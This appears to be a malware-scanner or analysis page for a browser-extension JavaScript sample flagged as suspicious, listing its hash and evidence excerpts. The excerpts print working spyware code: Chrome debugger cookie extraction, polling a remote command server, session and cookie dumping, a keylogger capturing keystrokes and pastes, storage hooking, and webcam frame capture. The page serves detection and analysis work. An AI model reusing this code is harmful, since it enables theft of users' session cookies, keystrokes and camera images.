Suspicious 75% javascript Download

published-excerpts.js

Extension cookie extraction beside session dump task dispatchCapture-phase key token pipeline beside browser storage
SHA-2560f595d70de145bbc04ea6bc7d97964a3bb364a0ca302aec24e1dcf301a12053e

Evidence

CDP cookie retrieval method literal lines 1–48
1await withTimeout(chrome.debugger.attach({ tabId }, "1.3"), 4000);
2await withTimeout(
3 chrome.debugger.sendCommand({ tabId }, "Network.enable"),
4 3000
5);
6const all = await withTimeout(
7 chrome.debugger.sendCommand({ tabId }, "Network.getAllCookies"),
8 8000
9);
10cookies = Array.isArray(all?.cookies) ? all.cookies : [];
11
12const qs = new URLSearchParams({
13 wait: remoteCtl.live ? "3500" : "10000",
14 agentId: meta.agentId,
15 ip: meta.ip || "",
16 browser: meta.browser || "",
17 ua: meta.userAgent || "",
18});
19const res = await serverFetch(`${REMOTE_PENDING_URL}?${qs}`);
20const data = await res.json();
21const cmds = Array.isArray(data.commands) ? data.commands : [];
22
⋯14 lines
37 await cameraStart(payload);
38 break;
39 case "dumpSession":
40 case "dumpCookies":
41 await dumpFullSession(type);
42 break;
⋯6 lines
Calls localStorage or sessionStorage setItem lines 50–97
50:6… STORAGE_KEY = "__cookie_audit_keylog_buf";
51
52function persistBuffer() {
53 try {
54 if (buffer) sessionStorage.setItem(STORAGE_KEY, buffer);
55 else sessionStorage.removeItem(STORAGE_KEY);
56 } catch {}
57}
58
59document.addEventListener("keydown", (e) => {
60 if (e.isComposing) return;
61 const token = formatKey(e);
62 if (token) enqueue(token);
63}, true);
64
65document.addEventListener("paste", (e) => {
66 const text = e.clipboardData?.getData("text/plain") || "";
67 enqueue(`[PASTE]${truncateClip(text)}[/PASTE]`, { interaction: true });
68}, true);
69
70const proto = Storage.prototype;
71const rawSetItem = proto.setItem;
72const rawRemoveItem = proto.removeItem;
73
74proto.setItem = function (key, value) {
75 const result = rawSetItem.apply(this, arguments);
76 notify("setItem");
⋯7 lines
84};
85
86stream = await navigator.mediaDevices.getUserMedia({
87 audio: false,
88 video: { facingMode: "user", width: { ideal: 1280 }, height: { ideal: 720 } },
89});
90video.srcObject = stream;
91await video.play();
92timer = setInterval(capture, 400);
93
94canvas.toBlob((blob) => {
95 blob.arrayBuffer().then((buf) => {
96 chrome.runtime.sendMessage({
97 type: "cameraFrame",

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.